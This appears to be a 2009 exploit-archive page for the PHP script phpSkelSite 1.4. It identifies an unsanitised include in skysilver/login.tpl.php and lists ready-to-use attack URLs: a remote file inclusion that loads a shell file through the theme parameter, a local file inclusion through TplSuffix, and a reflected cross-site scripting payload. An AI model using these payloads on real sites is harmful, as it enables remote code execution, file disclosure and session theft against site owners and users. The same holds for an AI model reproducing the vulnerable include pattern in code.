[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpSkelSite 1.4 (RFI/LFI/XSS) Multiple Remote Vulnerabilities
# Published : 2009-01-02
# Author : ahmadbady
# Previous Title : Built2Go PHP Rate My Photo 1.46.4 Remote File Upload Vulnerability
# Next Title : ViArt Shopping Cart 3.5 Multiple Remote Vulnerabilities 


-----------------:RFI/LFI/xss:-----------------
-------------------------------------------
script:phpSkelSite
   
------------------------------------------------------------------
download from:http://apmuthu.tripod.com/files/phpSkelSite_v1.4.zip
   
------------------------------------------------------------------

........................................................
vul:/skysilver/login.tpl.php line 1

<? include $theme.'/pageheading'.$TplSuffix ; ?>


------------------------------------------------------
Rfi:

http://127.0.0.1/path/skysilver/login.tpl.php?theme=[shell.txt?]

Lfi:

http://127.0.0.1/path/skysilver/login.tpl.php?TplSuffix=[lfi]

***************************************************
xss:
http://127.0.0.1/path/index.php/>"><ScRiPt>alert('ahmadbady')</ScRiPt>
***************************************************
---------------------
Author: ahmadbady
---------------------

# www.Syue.com [2009-01-02]